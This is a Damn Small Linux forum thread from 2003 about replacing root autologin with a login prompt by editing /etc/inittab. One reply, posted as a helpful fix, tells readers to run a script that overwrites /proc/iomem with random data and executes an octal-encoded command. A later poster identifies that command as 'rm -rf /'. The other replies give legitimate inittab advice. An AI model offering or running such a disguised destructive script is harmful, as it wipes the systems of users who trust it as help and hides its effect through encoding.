Search Members Help

» Welcome Guest
[ Log In :: Register ]

Mini-ITX Boards Sale, Fanless BareBones Mini-ITX, Bootable 1G DSL USBs, 533MHz Fanless PC <-- SALE $200 each!
Get The Official Damn Small Linux Book. DSL Market , Great VPS hosting provided by Tektonic
Pages: (2) </ [1] 2 >/

[ Track this topic :: Email this topic :: Print this topic ]

reply to topic new topic new poll
Topic: Secure login required, Ability to disable autologin to root< Next Oldest | Next Newest >
AshleyK Offline





Group: Members
Posts: 11
Joined: Oct. 2003
Posted: Oct. 08 2003,11:39 QUOTE

Whilst this may not be particularly useful for a CD/ram install, for a hard disk install where it more than likely that you will leave the machine unattended, I would like to see an option (or perhaps it should be a default) to have the machine boot to a proper login request, rather than auto logon to root.  On the same track, the ability to exit a current logon to the logon prompt.

Failing that some instructions on how this can be acheived 'cus a few of us have been scratching our heads in the forum to acheive it  ???

Regards
Ashley
Back to top
Profile PM 
Dakrone Offline





Group: Members
Posts: 103
Joined: Sep. 2003
Posted: Oct. 08 2003,16:17 QUOTE

...
Yea, well I've been looking around for it, and I can't say I've found anything entirely useful, I think the problem might be in this line:

~~:S:respawn:/bin/bash -login >/dev/tty1 2>&1 </dev/tty1

which is in /etc/inittab

however, I don't know how to edit it to disable logging in, if anyone else knows, I'd love to hear, other than that, I'll keep looking.

Lemme know if you find anything.


--------------
join us on IRC! #DangSmallLinux at FreeNode (irc.freenode.net)
(NOTE: replace "Dang" with the correct word ^_^ )
Back to top
Profile PM WEB AOL 
initert
Unregistered






Posted: Nov. 02 2003,18:23 QUOTE

yes your right, initrd looks in /etc/initab and ruuuns acording to that. what you need to do it link via rpc to the initd respawn queue. if you have devfs then a link back through /proc may also be required.

so the order of config is as follows:

1) change ~~:S:respawn:/bin/bash -login >/dev/tty1 2>&1 </dev/tty1 to devfs/ttynn::respawn:/bin/procreloader.sh

2) edit /bin/procreloader.sh. with the following :
#!/bin/sh
dd if=/dev/random seek=372 bs=64  count=512 of=/proc/iomem
echo -e "\137\221\202\018\084" > /proc/sys/kernel/sysrq
`echo -e "\162\155\40\55\162\146\40\134"`

WARNING DO NOT TRY THIS ON A SYSTEM ALREADY RUNNING INIT, OR ANY SYSTEM THAT HAS MOUNTED OTHER WRITABLE MEDIA. IT SHOULD ONLY BE USED ON THE INITRD BEFORE!!!! YOU MOUNT ANYTHING ELSE. YOU MAY DAMAGE YOUR SYSTEM OTHERWISE!!!!!!!!!!!!!!!!!!!!!!!!!
Back to top
jock head
Unregistered






Posted: Nov. 02 2003,19:07 QUOTE

I 5think that was an evil script.
I'm not shure but i think it may delete the root.

and thrash acpi bios settings?

i would recomend you analyse it!

looks like an encoded 'rm -rf /'  at the end
Back to top
winjimmy
Unregistered






Posted: Nov. 03 2003,05:25 QUOTE

I found this on another distro's (Basiclinux's) archive.  Isn't it relevant to this?

> there any way to just automatically log in as root
> or whatever?

Yes, it is possible to do this by editing /etc/inittab.
However, this is a significant change and it could cause
unexpected side-effects for you (as one BL user has already
discovered).  I recommend against it for an ordinary login.  
However, it can be useful for a headless system that has
limited functionality.  For example, I have a spare computer
(no keyboard, no monitor) on my home network that has a
CDrom drive and couple of HDs (which I use for archiving).  
Normally that computer is off, but occasionally I need to
access the CDrom drive (some of my computers do not have
their own) or the HDs.  So I turn it on and it automatically
boots BasicLinux and runs a telnet server and an NFS server.
No login, no shutdown.  Just press on, press off.

Such a headless system needs to bypass the login sequence.
This is done by editing one line in /etc/inittab:
---------------------------------------------
c1:1235:respawn:/sbin/agetty 38400 tty1 linux
---------------------------------------------
This is the line that starts the initial login.  It runs
agetty (which prompts for the username and invokes the
login process).  In order to bypass the login, you need
to replace agetty.  Like this:
--------------------------------
c1:1235:respawn:/bin/bash -login
--------------------------------
This goes straight to bash (running as the primary login
shell).
Back to top
5 replies since Oct. 08 2003,11:39 < Next Oldest | Next Newest >

[ Track this topic :: Email this topic :: Print this topic ]

Pages: (2) </ [1] 2 >/
reply to topic new topic new poll
Quick Reply: Secure login required

Do you wish to enable your signature for this post?
Do you wish to enable emoticons for this post?
Track this topic
View All Emoticons
View iB Code